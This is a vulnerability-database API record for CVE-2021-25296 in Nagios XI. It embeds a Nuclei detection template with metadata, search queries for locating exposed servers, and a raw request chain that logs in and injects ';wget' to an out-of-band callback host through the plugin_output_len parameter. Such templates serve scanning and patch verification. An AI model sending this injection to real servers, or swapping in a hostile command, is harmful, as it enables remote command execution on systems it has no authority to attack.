{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-25296/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-25296/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-25296/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-25296/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-25296/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-25296"},"sightings":{"href":"/api/v1/sightings/cve-2021-25296"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-25296.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2021-25296\n\ninfo:\n  name: Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection\n  author: k0pak4\n  severity: high\n  description: |\n    Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.\n  impact: |\n    Successful exploitation of this vulnerability allows authenticated attackers to execute arbitrary commands on the target system.\n  remediation: |\n    Upgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability.\n  reference:\n    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md\n    - https://github.com/rapid7/metasploit-framework/pull/17494\n    - http://nagios.com\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-25296\n    - http://packetstormsecurity.com/files/170924/Nagios-XI-5.7.5-Remote-Code-Execution.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2021-25296\n    cwe-id: CWE-78\n    epss-score: 0.72182\n    epss-percentile: 0.99407\n    cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: nagios\n    product: nagios_xi\n    shodan-query:\n      - title:\"Nagios XI\"\n      - http.title:\"nagios xi\"\n    fofa-query:\n      - title=\"nagios xi\"\n      - app=\"nagios-xi\"\n    google-query: intitle:\"nagios xi\"\n  tags: cve,cve2021,packetstorm,rce,oast,authenticated,msf,nagiosxi,kev,nagios,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /nagiosxi/login.php HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        POST /nagiosxi/login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}\n      - |\n        GET /nagiosxi/index.php HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        @timeout: 20s\n        GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=windowswmi&check_wmic_plus_ver=1.65&ip_address=127.0.0.1&domain=127.0.0.1&username=username&password=password&plugin_output_len=9999%3bwget%20{{interactsh-url}}%3b HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body_4\n        words:\n          - \"Event Log\"\n          - \"Display Name\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: nsp\n        group: 1\n        regex:\n          - \"name=['\\\"]nsp['\\\"] value=['\\\"](.*)['\\\"]>\"\n        internal: true\n        part: body\n\n      - type: regex\n        name: nsp_auth\n        group: 1\n        regex:\n          - \"var nsp_str = ['\\\"](.*)['\\\"];\"\n        internal: true\n        part: body\n# digest: 4a0a00473045022100fa372b4a2a19c007f24a813d4bc59f3262b759ed9af7afd488dfdd92a863144c022059432232e578739ff49e5b15044ffb342bf8068e7269e6481bb8a336492cf0be:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-25296"}